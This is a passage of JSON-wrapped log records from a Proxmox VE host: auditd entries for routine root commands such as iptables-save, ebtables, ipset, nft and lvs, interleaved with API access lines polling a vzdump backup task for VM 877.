{"@timestamp":1781965895592,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.592:67572): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964285661,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.661:60369): argc=1 a0=\"date\""} {"@timestamp":1781965646054,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.054:66491): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63866 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905704,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.704:67609): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc137fb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64931 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965069956,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:48 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 205"} {"@timestamp":1781965895583,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.583:67571): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964285657,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.657:60367): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965646049,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.049:66490): arch=c000003e syscall=59 success=yes exit=0 a0=5957c0083e50 a1=5957c0080bd0 a2=5957c0062680 a3=5 items=2 ppid=63859 pid=63865 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905697,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.697:67608): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e8290 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64930 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965068840,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:47 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965067282&start=0&limit=510 HTTP/1.1\" 200 581"} {"@timestamp":1781965895573,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.573:67570): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964285650,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.650:60366): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965646045,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.045:66489): arch=c000003e syscall=59 success=yes exit=0 a0=59578c785ac8 a1=7ffc10e74410 a2=5957c0062680 a3=59578c76924e items=2 ppid=63859 pid=63861 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905691,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.691:67607): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ad9950 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64929 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965068840,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:47 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 781"} {"@timestamp":1781965895556,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.556:67569): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964285643,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.643:60365): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965646043,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.043:66488): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc10e743d0 a1=5957c0069310 a2=5957c0062680 a3=5 items=2 ppid=63859 pid=63860 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905683,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.683:67606): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64928 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965068840,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:47 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 205"} {"@timestamp":1781965895549,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.549:67567): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964285637,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.637:60364): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965646037,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.037:66486): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63859 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905676,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.676:67605): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64927 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965068840,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1083"} {"@timestamp":1781965895541,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.541:67566): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964285630,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.630:60363): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965646029,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.029:66485): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63858 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905671,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.671:67604): arch=c000003e syscall=59 success=yes exit=0 a0=5f43ed25de90 a1=5f43ed25ac10 a2=5f43ed23c680 a3=5 items=2 ppid=64920 pid=64926 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965067827,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1083"} {"@timestamp":1781965895535,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.535:67565): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964285624,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.624:60362): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965646019,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.019:66484): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63857 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905668,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.668:67603): arch=c000003e syscall=59 success=yes exit=0 a0=5f43e44c2ac8 a1=7fff739bfc70 a2=5f43ed23c680 a3=5f43e44a624e items=2 ppid=64920 pid=64922 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965067827,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 492"} {"@timestamp":1781965895528,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.528:67564): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964285024,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.024:60361): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965646011,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.011:66483): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae0f50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63856 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905668,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.668:67602): arch=c000003e syscall=59 success=yes exit=0 a0=7fff739bfc30 a1=5f43ed243310 a2=5f43ed23c680 a3=5 items=2 ppid=64920 pid=64921 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965067827,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:46 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965066271&start=0&limit=510 HTTP/1.1\" 200 577"} {"@timestamp":1781965895522,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.522:67563): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964284984,"@rawstring":"node=pve type=EXECVE msg=audit(1781964284.984:60360): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965646000,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.000:66482): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13baf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63855 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905664,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.664:67600): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64920 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965067827,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 501"} {"@timestamp":1781965895517,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.517:67562): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964283596,"@rawstring":"node=pve type=EXECVE msg=audit(1781964283.596:60359): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965645989,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965645.989:66481): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc148be0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63854 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905656,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.656:67599): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13d7f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64919 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965067827,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:46 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 769"} {"@timestamp":1781965895510,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.510:67561): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964283590,"@rawstring":"node=pve type=EXECVE msg=audit(1781964283.590:60356): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965644093,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965644.093:66480): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d5cb0 a1=64f8d73c8630 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63851 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905648,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.648:67598): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64918 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965067827,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:46 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 205"} {"@timestamp":1781965895503,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.503:67560): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964279602,"@rawstring":"node=pve type=EXECVE msg=audit(1781964279.602:60352): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781965644067,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965644.067:66479): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dd2a0 a1=64f8d73d1450 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63850 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905641,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.641:67597): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac9b60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64917 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965066614,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:46 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965065510&start=0&limit=510 HTTP/1.1\" 200 584"} {"@timestamp":1781965895498,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.498:67559): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964279602,"@rawstring":"node=pve type=EXECVE msg=audit(1781964279.602:60353): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965643799,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965643.799:66478): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63849 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905634,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.634:67596): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e6010 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64916 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965066614,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:45 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965065269&start=0&limit=510 HTTP/1.1\" 200 583"} {"@timestamp":1781965895495,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.495:67558): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964279600,"@rawstring":"node=pve type=EXECVE msg=audit(1781964279.600:60351): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781965643790,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965643.790:66475): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63848 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905625,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.625:67595): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e35e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64915 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965066614,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:45 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 205"} {"@timestamp":1781965895494,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.494:67557): argc=1 a0=\"date\""} {"@timestamp":1781964278581,"@rawstring":"node=pve type=EXECVE msg=audit(1781964278.581:60350): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965642588,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965642.588:66472): arch=c000003e syscall=59 success=yes exit=0 a0=61301a468690 a1=61301a955010 a2=61301a94fc60 a3=8 items=2 ppid=63845 pid=63847 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm=\"find\" exe=\"/usr/bin/find\" subj=unconfined key=\"exec\""} {"@timestamp":1781965904929,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965904.929:67594): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b33c0 a1=64f8d741b930 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64914 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965066614,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:45 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 770"} {"@timestamp":1781965895489,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.489:67555): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964278573,"@rawstring":"node=pve type=EXECVE msg=audit(1781964278.573:60347): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965642586,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965642.586:66471): arch=c000003e syscall=59 success=yes exit=0 a0=61301a9542f0 a1=61301a469af0 a2=61301a94fc60 a3=8 items=2 ppid=1541 pid=63846 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm=\"cat\" exe=\"/usr/bin/cat\" subj=unconfined key=\"exec\""} {"@timestamp":1781965904892,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965904.892:67593): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1330070 a1=64f8d73b4b60 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64913 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965065617,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:44 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965064270&start=0&limit=510 HTTP/1.1\" 200 572"} {"@timestamp":1781965895481,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.481:67554): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964275612,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.612:60344): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965638782,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965638.782:66470): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63840 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965904712,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965904.712:67592): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64910 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965065617,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:44 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781965895474,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.474:67553): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964275608,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.608:60343): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965638769,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965638.769:66467): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63839 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965904706,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965904.706:67589): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64909 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965065617,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:44 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 205"} {"@timestamp":1781965895466,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.466:67552): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964275606,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.606:60342): argc=1 a0=\"date\""} {"@timestamp":1781965635975,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.975:66464): arch=c000003e syscall=59 success=yes exit=0 a0=5d1532e2cd70 a1=5d1532e38f40 a2=5d1532e06680 a3=5 items=2 ppid=63832 pid=63838 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965900934,"@rawstring":"node=pve type=SYSCALL 